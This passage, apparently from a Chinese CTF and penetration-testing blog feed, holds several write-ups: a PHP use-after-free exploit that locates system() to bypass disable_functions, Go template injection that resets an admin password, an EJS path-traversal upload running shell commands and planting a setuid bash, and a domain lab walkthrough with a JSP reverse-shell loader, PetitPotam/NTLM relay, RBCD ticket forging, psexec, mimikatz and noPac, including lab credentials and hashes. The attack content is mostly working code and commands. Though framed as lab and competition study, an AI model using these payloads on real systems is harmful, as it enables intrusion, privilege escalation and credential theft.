class="variable">$zif_system</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$fake_closure_addr</span> = <span class="variable language_">$this</span>->helper_addr + <span class="variable">$fake_closure_off</span> - <span class="variable language_">$this</span>->helper_off;</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$this</span>->helper_off + <span class="number">0x38</span>, <span class="variable">$fake_closure_addr</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"fake closure @ 0x%x"</span>, <span class="variable">$fake_closure_addr</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">cleanup</span>();</span><br><span class="line"> (<span class="variable language_">$this</span>->helper->b)(CMD);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">make_uaf_obj</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->uafp = <span class="title function_ invoke__">fopen</span>(<span class="string">'php://memory'</span>, <span class="string">'w'</span>);</span><br><span class="line"> <span class="title function_ invoke__">fwrite</span>(<span class="variable">$this</span>->uafp, <span class="title function_ invoke__">pack</span>(<span class="string">'QQQ'</span>, <span class="number">1</span>, <span class="number">0</span>, <span class="number">0xDEADBAADC0DE</span>));</span><br><span class="line"> <span class="keyword">for</span>(<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < STRING_SIZE; <span class="variable">$i</span>++) {</span><br><span class="line"> <span class="title function_ invoke__">fwrite</span>(<span class="variable">$this</span>->uafp, <span class="string">"\x00"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">prepare_leaker</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable">$str_off</span> = <span class="variable language_">$this</span>->helper_off + CHUNK_SIZE + <span class="number">8</span>;</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$str_off</span>, <span class="number">2</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$str_off</span> + <span class="number">0x10</span>, <span class="number">6</span>);</span><br><span class="line"></span><br><span class="line"> <span class="variable">$val_off</span> = <span class="variable language_">$this</span>->helper_off + <span class="number">0x48</span>;</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$val_off</span>, <span class="variable">$this</span>->helper_addr + CHUNK_SIZE + <span class="number">8</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$val_off</span> + <span class="number">8</span>, <span class="number">0xA</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">prepare_cleanup</span>(<span class="params"><span class="variable">$binary_leak</span></span>) </span>{</span><br><span class="line"> <span class="variable">$ret_gadget</span> = <span class="variable">$binary_leak</span>;</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> --<span class="variable">$ret_gadget</span>;</span><br><span class="line"> } <span class="keyword">while</span>(<span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$ret_gadget</span>, <span class="number">1</span>) !== <span class="number">0xC3</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"ret gadget = 0x%x"</span>, <span class="variable">$ret_gadget</span>);</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="number">0</span>, <span class="variable">$this</span>->abc_addr + <span class="number">0x20</span> - (PHP_MAJOR_VERSION === <span class="number">8</span> ? <span class="number">0x50</span> : <span class="number">0x60</span>));</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="number">8</span>, <span class="variable">$ret_gadget</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">read</span>(<span class="params"><span class="variable">$addr</span>, <span class="variable">$n</span> = <span class="number">8</span></span>) </span>{</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">write</span>(<span class="variable">$this</span>->helper_off + CHUNK_SIZE + <span class="number">16</span>, <span class="variable">$addr</span> - <span class="number">0x10</span>);</span><br><span class="line"> <span class="variable">$value</span> = <span class="title function_ invoke__">strlen</span>(<span class="variable">$this</span>->helper->c);</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$n</span> !== <span class="number">8</span>) { <span class="variable">$value</span> &= (<span class="number">1</span> << (<span class="variable">$n</span> << <span class="number">3</span>)) - <span class="number">1</span>; }</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$value</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">write</span>(<span class="params"><span class="variable">$p</span>, <span class="variable">$v</span>, <span class="variable">$n</span> = <span class="number">8</span></span>) </span>{</span><br><span class="line"> <span class="keyword">for</span>(<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="variable">$n</span>; <span class="variable">$i</span>++) {</span><br><span class="line"> <span class="variable language_">$this</span>->abc[<span class="variable">$p</span> + <span class="variable">$i</span>] = <span class="title function_ invoke__">chr</span>(<span class="variable">$v</span> & <span class="number">0xff</span>);</span><br><span class="line"> <span class="variable">$v</span> >>= <span class="number">8</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">get_basic_funcs</span>(<span class="params"><span class="variable">$addr</span></span>) </span>{</span><br><span class="line"> <span class="keyword">while</span>(<span class="literal">true</span>) {</span><br><span class="line"> <span class="comment">// In rare instances the standard module might lie after the addr we're starting</span></span><br><span class="line"> <span class="comment">// the search from. This will result in a SIGSGV when the search reaches an unmapped page.</span></span><br><span class="line"> <span class="comment">// In that case, changing the direction of the search should fix the crash.</span></span><br><span class="line"> <span class="comment">// $addr += 0x10;</span></span><br><span class="line"> <span class="variable">$addr</span> -= <span class="number">0x10</span>;</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$addr</span>, <span class="number">4</span>) === <span class="number">0xA8</span> &&</span><br><span class="line"> <span class="title function_ invoke__">in_array</span>(<span class="variable">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$addr</span> + <span class="number">4</span>, <span class="number">4</span>),</span><br><span class="line"> [<span class="number">20151012</span>, <span class="number">20160303</span>, <span class="number">20170718</span>, <span class="number">20180731</span>, <span class="number">20190902</span>, <span class="number">20200930</span>])) {</span><br><span class="line"> <span class="variable">$module_name_addr</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$addr</span> + <span class="number">0x20</span>);</span><br><span class="line"> <span class="variable">$module_name</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$module_name_addr</span>);</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$module_name</span> === <span class="number">0x647261646e617473</span>) {</span><br><span class="line"> <span class="variable language_">$this</span>-><span class="title function_ invoke__">log</span>(<span class="string">"standard module @ 0x%x"</span>, <span class="variable">$addr</span>);</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$addr</span> + <span class="number">0x28</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">get_system</span>(<span class="params"><span class="variable">$basic_funcs</span></span>) </span>{</span><br><span class="line"> <span class="variable">$addr</span> = <span class="variable">$basic_funcs</span>;</span><br><span class="line"> <span class="keyword">do</span> {</span><br><span class="line"> <span class="variable">$f_entry</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$addr</span>);</span><br><span class="line"> <span class="variable">$f_name</span> = <span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$f_entry</span>, <span class="number">6</span>);</span><br><span class="line"> <span class="keyword">if</span>(<span class="variable">$f_name</span> === <span class="number">0x6d6574737973</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="variable language_">$this</span>-><span class="title function_ invoke__">read</span>(<span class="variable">$addr</span> + <span class="number">8</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="variable">$addr</span> += <span class="number">0x20</span>;</span><br><span class="line"> } <span class="keyword">while</span>(<span class="variable">$f_entry</span> !== <span class="number">0</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">cleanup</span>(<span class="params"></span>) </span>{</span><br><span class="line"> <span class="variable language_">$this</span>->hfp = <span class="title function_ invoke__">fopen</span>(<span class="string">'php://memory'</span>, <span class="string">'w'</span>);</span><br><span class="line"> <span class="title function_ invoke__">fwrite</span>(<span class="variable">$this</span>->hfp, <span class="title function_ invoke__">pack</span>(<span class="string">'QQ'</span>, <span class="number">0</span>, <span class="variable">$this</span>->abc_addr));</span><br><span class="line"> <span class="keyword">for</span>(<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < FILTER_SIZE - <span class="number">0x10</span>; <span class="variable">$i</span>++) {</span><br><span class="line"> <span class="title function_ invoke__">fwrite</span>(<span class="variable">$this</span>->hfp, <span class="string">"\x00"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">str2ptr</span>(<span class="params"><span class="variable">$p</span> = <span class="number">0</span>, <span class="variable">$n</span> = <span class="number">8</span></span>) </span>{</span><br><span class="line"> <span class="variable">$address</span> = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(<span class="variable">$j</span> = <span class="variable">$n</span> - <span class="number">1</span>; <span class="variable">$j</span> >= <span class="number">0</span>; <span class="variable">$j</span>--) {</span><br><span class="line"> <span class="variable">$address</span> <<= <span class="number">8</span>;</span><br><span class="line"> <span class="variable">$address</span> |= <span class="title function_ invoke__">ord</span>(<span class="variable">$this</span>->abc[<span class="variable">$p</span> + <span class="variable">$j</span>]);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$address</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">ptr2str</span>(<span class="params"><span class="variable">$ptr</span>, <span class="variable">$n</span> = <span class="number">8</span></span>) </span>{</span><br><span class="line"> <span class="variable">$out</span> = <span class="string">''</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="variable">$i</span> = <span class="number">0</span>; <span class="variable">$i</span> < <span class="variable">$n</span>; <span class="variable">$i</span>++) {</span><br><span class="line"> <span class="variable">$out</span> .= <span class="title function_ invoke__">chr</span>(<span class="variable">$ptr</span> & <span class="number">0xff</span>);</span><br><span class="line"> <span class="variable">$ptr</span> >>= <span class="number">8</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> <span class="variable">$out</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">private</span> <span class="function"><span class="keyword">function</span> <span class="title">log</span>(<span class="params"><span class="variable">$format</span>, <span class="variable">$val</span> = <span class="string">''</span></span>) </span>{</span><br><span class="line"> <span class="keyword">if</span>(LOGGING) {</span><br><span class="line"> <span class="title function_ invoke__">printf</span>(<span class="string">"<span class="subst">{$format}</span>\n"</span>, <span class="variable">$val</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">static</span> <span class="function"><span class="keyword">function</span> <span class="title">alloc</span>(<span class="params"><span class="variable">$size</span></span>) </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">str_shuffle</span>(<span class="title function_ invoke__">str_repeat</span>(<span class="string">'A'</span>, <span class="variable">$size</span>));</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>如果有绕过去的爹教教我<br>然后我尝试使用无参rce去读文件</p><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta"><?php</span> <span class="title function_ invoke__">show_source</span>(<span class="title function_ invoke__">session_id</span>(<span class="title function_ invoke__">session_start</span>())); <span class="meta">?></span></span><br></pre></td></tr></table></figure><p>然后在cookie的PHPSESSID中传/var/www/html/flag.php<br>这里能发现有flag.php是因为另一个站里我扫出来了flag.php，灵机一动读一手<br>因为是未授权所以完全不用管因为改了PHPSESSID从而掉出后台</p><p>然后到此我们就拿到了600pt的flag了</p><h2 id="总结"><a class="headerlink" href="#总结"></a>总结</h2><p>我不敢说我是努力的，因为我真的很菜，天赋也很差，但是我深知我每一天的刷题都会有用的嘞<br>嘻嘻<br>网鼎杯到此就结束辣，没有进决赛，但是我们在贵阳玩的很开心<br>fault也没有对自己失望<br>那就到这里吧，我们强网杯见！</p>]]></content>
<summary type="html"><blockquote>
<p>前排提醒，大量反思+少量wp</p>
</blockquote>
<h2 id="网鼎半决赛前"><a class="headerlink" href="#网鼎半决赛前"></a>网鼎半决赛前</h2>
<p>经过我一番查找和没有认真看赛制说明的情</summary>
<category term="比赛wp" scheme="http://fault123.github.io/tags/%E6%AF%94%E8%B5%9Bwp/"/>
<category term="渗透测试" scheme="http://fault123.github.io/tags/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/"/>
</entry>
<entry>
<title>4T$CTF-赛后复现</title>
<link href="http://fault123.github.io/2024/11/13/4T$CTF-%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0/"/>
<id>http://fault123.github.io/2024/11/13/4T$CTF-%E8%B5%9B%E5%90%8E%E5%A4%8D%E7%8E%B0/</id>
<published>2024-11-12T16:00:00.000Z</published>
<updated>2024-11-13T04:20:37.074Z</updated>
<content type="html"><![CDATA[<h1>My Sky Blog</h1><p>这里我们看到我们的源代码之后很容易就可以发现ssti的注入点<br>就是这里<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411122149160.png" alt="image.png" loading="lazy"><br>但是找到ssti的注入点很简单，但是要获取admin却不容易<br>这里我注入了很久，发现都是在自己获取自己<br>但是如果我们审计代码可以发现第一个Post是admin的，那么我们先尝试看看能不能从ssti中获取第一篇文章的东西，那么我们使用这个payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{{index.Posts 0}}</span><br></pre></td></tr></table></figure><p>我们传上去后发现效果是这样<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411122151073.png" alt="image.png" loading="lazy"><br>那么很显然我们这里已经是获取到了我们的第一个Posts<br>那么我们接下来要做什么呢<br>我们发现Posts的模板是这样的<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411122152049.png" alt="image.png" loading="lazy"><br>title和body我们没有什么能利用的，但是Author是指向User对象的，那么我们去看User对象<br>这里我们可以找到User对象中有一个changepassword方法<br>而且既然我们刚才就可以变成admin，那么我们也就可以用这个方法去继续调用changepassword方法来更改admin的方法，于是我们就可以做到更改admin的密码，然后再用这个密码登录上去就可以获取flag了<br>最终payload</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{{(index.Posts).ChangePassword "your-password"}}</span><br></pre></td></tr></table></figure><p>修改之后直接登录就可以了</p><h1>Homelab ? More like Pwnlab !</h1><p>这道题看到源代码之后就发现没有对目录做校验，那么就代表着我们可以上传任意文件到任意目录去，但是最重要的一点是什么，是我们在这个只有npm的环境下应该传什么文件上去才能做到命令执行呢？<br>很简单，我们可以发现我们传html时候可以被渲染，但是在html中加<code><script></code>标签时却没法执行里面的js代码，当我看到有一个index.ejs时我第一反应是能不能自己也写一个ejs，但是我很快反应过来这是不可以的，因为如果是我自己写的，后端不会有渲染代码，那么我注入的恶意代码也就不会执行，于是在这里我考虑直接gank掉那个index.ejs。但是我在gank完之后发现貌似尊嘟没有过滤（此时一个不擅长绕waf的fault嘻嘻）<br>于是我们再结合另一个ssh界面看看，我们查看home目录发现有nas_storage目录，于是我们需要找到二者的关系<br>我们可以看到当我们发出这个包之后<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411131206644.png" alt="image.png" loading="lazy"><br>我们ssh界面的nas_storage目录中多了一个1.txt<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411131207729.png" alt="image.png" loading="lazy"><br>那么我们可以知道，这个文件上传目录所对应在ssh上的目录就是/home/user/nas_storage<br>那么我们又需要看看我们在这个里面的权限是什么</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fileName=..%2F..%2F..%2Fapp%2Fviews%2Findex.ejs&fileContent=<%=import('child_process').then(c=>{console.log(c.execSync('echo+`whoami`+>+/app/public/uploads/whoami.txt').toString())})%></span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411131209499.png" alt="image.png" loading="lazy"><br>那么就很明显了，那么问题来了，到了这里，我们很明显可以知道我们在文件上传那里是root权限，但是没有办法直接摸到/home/admin里，那么我们这里需要怎么办呢<br>很简单，用命令执行这里的权限给ssh中的bash赋予权限就行，于是我们先需要用这个</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">cp /bin/bash /home/user/nas_storage</span><br></pre></td></tr></table></figure><p>然后我们发送这两个包</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fileName=..%2F..%2F..%2Fapp%2Fviews%2Findex.ejs&fileContent=<%=import('child_process').then(c=>{console.log(c.execSync('chown+1000:1000+/app/public/uploads/bash').toString())})%></span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">fileName=..%2F..%2F..%2Fapp%2Fviews%2Findex.ejs&fileContent=<%25%3dimport("child_process").then(c%3d>{console.log(c.execSync('chmod+u%2bs+/app/public/uploads/bash').toString())})%25></span><br></pre></td></tr></table></figure><p>之后我们就会发现bash的权限变成了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411131215031.png" alt="image.png" loading="lazy"><br>这样，我们在这里执行</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">./bash -p</span><br></pre></td></tr></table></figure><p>之后就可以读取flag了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411131216548.png" alt="image.png" loading="lazy"><br>喵</p>]]></content>
<summary type="html"><h1>My Sky Blog</h1>
<p>这里我们看到我们的源代码之后很容易就可以发现ssti的注入点<br>
就是这里<br>
<img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/20</summary>
<category term="比赛wp" scheme="http://fault123.github.io/tags/%E6%AF%94%E8%B5%9Bwp/"/>
</entry>
<entry>
<title>春秋云境-spoofing</title>
<link href="http://fault123.github.io/2024/11/08/spoofing/"/>
<id>http://fault123.github.io/2024/11/08/spoofing/</id>
<published>2024-11-07T16:00:00.000Z</published>
<updated>2024-11-08T12:55:10.651Z</updated>
<content type="html"><![CDATA[<h2 id="flag01"><a class="headerlink" href="#flag01"></a>flag01</h2><p>8080端口，猜测tomcat,扫一下目录<br>发现docs目录，进去看发现该tomcat版本存在文件读取，于是尝试攻击<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081232907.png" alt="image.png" loading="lazy"><br>发现有一个UploadServlet<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081233552.png" alt="image.png" loading="lazy"><br>然后使用文件包含反弹shell<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081236026.png" alt="image.png" loading="lazy"><br>1.jsp</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><%</span><br><span class="line"> java.io.<span class="type">InputStream</span> <span class="variable">in</span> <span class="operator">=</span> Runtime.getRuntime().exec(<span class="string">"bash -c {echo,base64}|{base64,-d}|{bash,-i}"</span>).getInputStream();</span><br><span class="line"> <span class="type">int</span> <span class="variable">a</span> <span class="operator">=</span> -<span class="number">1</span>;</span><br><span class="line"> <span class="type">byte</span>[] b = <span class="keyword">new</span> <span class="title class_">byte</span>[<span class="number">2048</span>];</span><br><span class="line"> out.print(<span class="string">"<pre>"</span>);</span><br><span class="line"> <span class="keyword">while</span>((a=in.read(b))!=-<span class="number">1</span>){</span><br><span class="line"> out.println(<span class="keyword">new</span> <span class="title class_">String</span>(b));</span><br><span class="line"> }</span><br><span class="line"> out.print(<span class="string">"</pre>"</span>);</span><br><span class="line">%></span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081237711.png" alt="image.png" loading="lazy"></p><p>然后我们传入后读取flag<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081238939.png" alt="image.png" loading="lazy"><br>然后我们从自己vps中下载fscan和chisel</p><h2 id="flag02"><a class="headerlink" href="#flag02"></a>flag02</h2><p>下载好后扫描，看看扫描个什么出来，然后我们在自己vps中起chisel<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081248982.png" alt="image.png" loading="lazy"><br>发现了经典ms17_010<br>我们kali启动<br>在一边启动kali时候我们启动chisel将内网映射到我们的vps中，然后这样直接设置rhost就可以，不用走socks了<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081319197.png" alt="image.png" loading="lazy"><br>emmmm还是别学我，因为里面服务很多，而且没有web服务，走socks会方便很多</p><h2 id="flag03"><a class="headerlink" href="#flag03"></a>flag03</h2><p>然后我们抓到用户凭据<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081320514.png" alt="image.png" loading="lazy"></p><p>然后我们发现在26这台机子上有webdav<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081326955.png" alt="image.png" loading="lazy"></p><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081327223.png" alt="image.png" loading="lazy"><br>也存在PetitPotam</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav </span><br><span class="line">proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M petitpotam</span><br></pre></td></tr></table></figure><p>所以我们可以尝试走强制认证<br>于是我们先把kali的ssh publickey写到我们控制了的45机器中，然后直接连接<br>但是我们需要使用PetitPotam和NTLM-Relay打强制认证，那么我们还是需要将流量转发到本机上，这样才能联动NTLM-Relay和PetitPltam</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">ssh -i id_rsa root@39.98.116.245 -D socks代理:PORT -R \*:79:127.0.0.1:80</span><br><span class="line">nohup socat TCP-LISTEN:80,fork,bind=0.0.0.0 TCP:localhost:79 &</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">proxychains python3 ntlmrelayx.py -t ldap://172.22.11.6 --no-dump --no-da --no-acl --escalate-user 'xr-desktop$' --delegate-access</span><br><span class="line">proxychains python3 PetitPotam.py -u yangmei -p 'xrihGHgoNZQ' -d xiaorang.lab ubuntu@80/pwn.txt 172.22.11.26</span><br></pre></td></tr></table></figure><blockquote><p>其实这里我对这个代理转发纠结了好久为什么这样才能让45的流量转发到本地<br>这里需要解决的一点就是0.0.0.0和127.0.0.1的区别<br>0.0.0.0是所有外部都可以访问的地址，但是127.0.0.1只能内网中访问，但是如果你直接设置ssh反向端口转发的话只会监听127.0.0.1，没有办法监听到外部访问80端口的流量，于是这里需要让一个所有外部都可以访问的0.0.0.0地址的80流量转发到127.0.0.1的79端口然后再将79端口的流量转到本机的80端口，让自己127.0.0.1的80端口监听0.0.0.0:80端口流量，从而实现这俩的联动实现强制认证</p></blockquote><blockquote><p>以及这里为什么ldap后面要用DC的ip，是因为在域中，DC是负责处理LDAP请求的服务器<br>还有为什么用XR-Desktop作为恶意机器账户来设置RBCD，这包的，如果你不理解这句话，建议重新学一下RBCD</p></blockquote><blockquote><p>然后我们使用PetitPotam触发XR-LCM3AE8B 认证到172.22.11.76，到这里我们已经强制认证成功了</p></blockquote><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081904434.png" alt="image.png" loading="lazy"><br>然后我们强制认证成功<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081905280.png" alt="image.png" loading="lazy"><br>之后我们就可以直接申请XR-LCM3AE8B的ST了，然后用我们的银票去打</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">这里我的<span class="built_in">hash</span>和上面截图抓到的不一样是因为我中间关了一次靶机，所以这里如果想存payload建议换成自己抓到的</span></span><br><span class="line">proxychains impacket-getST -spn cifs/XR-LCM3AE8B.xiaorang.lab -impersonate administrator -hashes :e96835c0dc9ba2112731814cda166c5a xiaorang.lab/XR-Desktop\$ -dc-ip 172.22.11.6</span><br><span class="line">export KRB5CCNAME=administrator.ccache</span><br><span class="line">proxychains python3 psexec.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 -codec gbk</span><br></pre></td></tr></table></figure><p>然后我们拿到flag03<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081909697.png" alt="image.png" loading="lazy"></p><h2 id="flag04"><a class="headerlink" href="#flag04"></a>flag04</h2><p>然后我们的想法是在这台机子里抓hash，那么我们先添加一个adminstrator用户</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">net user fault 123456. /add</span><br><span class="line">net localgroup administrators fault /add</span><br></pre></td></tr></table></figure><p>之后我们使用rdesktop登录上去，但是到这里我被一点卡住了，就是怎么传mimikatz上去，所以去找了发现可以使用smbclient去传，于是就出现了这个</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">KRB5CCNAME=/home/fault/Desktop/impacket-0.11.0/examples/administrator.ccache proxychains4 python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26</span><br><span class="line"></span><br><span class="line">use C$</span><br><span class="line">cd \windows\temp</span><br><span class="line">put mimikatz.exe #确保mimikatz的路径是对的，我的mimikatz是在当前目录的</span><br></pre></td></tr></table></figure><p>然后我们尝试在win中运行mimikatz来抓hash<br><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081819480.png" alt="image.png" loading="lazy"><br>至于这里为什么抓到的是zhanghui的可以用，是因为使用ADfind工具查找之后发现他在MA_Admin组，对computer可以创建对象或是向域中添加机器账户，所以可以打通nopac(其实题目考点也说了最后考nopac)<br>然后我们</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -use-ldap -create-child -dc-ip 172.22.11.6 -shell </span><br></pre></td></tr></table></figure><p><img src="https://fault-1315577519.cos.ap-nanjing.myqcloud.com/images/202411081915363.png" alt="image.png" loading="lazy"><br>就拿到了最后一个flag</p><h2 id="域中知识总结"><a class="headerlink" href="#域中知识总结"></a>域中知识总结</h2><h3 id="NTLM-Relay"><a class="headerlink" href="#NTLM-Relay"></a>NTLM-Relay</h3><p>结合名字我们也能知道它是NTLM中继攻击，也就是强制目标服务器或者用户使用LM HASH/NTLM HASH对攻击者的服务器进行认证，然后把这个认证中继到其它服务器中从而进行横向</p><h3 id="NTLM-Relay强制认证方式"><a class="headerlink" href="#NTLM-Relay强制认证方式"></a>NTLM-Relay强制认证方式</h3><p>参考这篇文章<br><a href="https://forum.butian.net/share/1944">https://forum.butian.net/share/1944</a><br>我们这里用到的是PeitiPotam<br><a 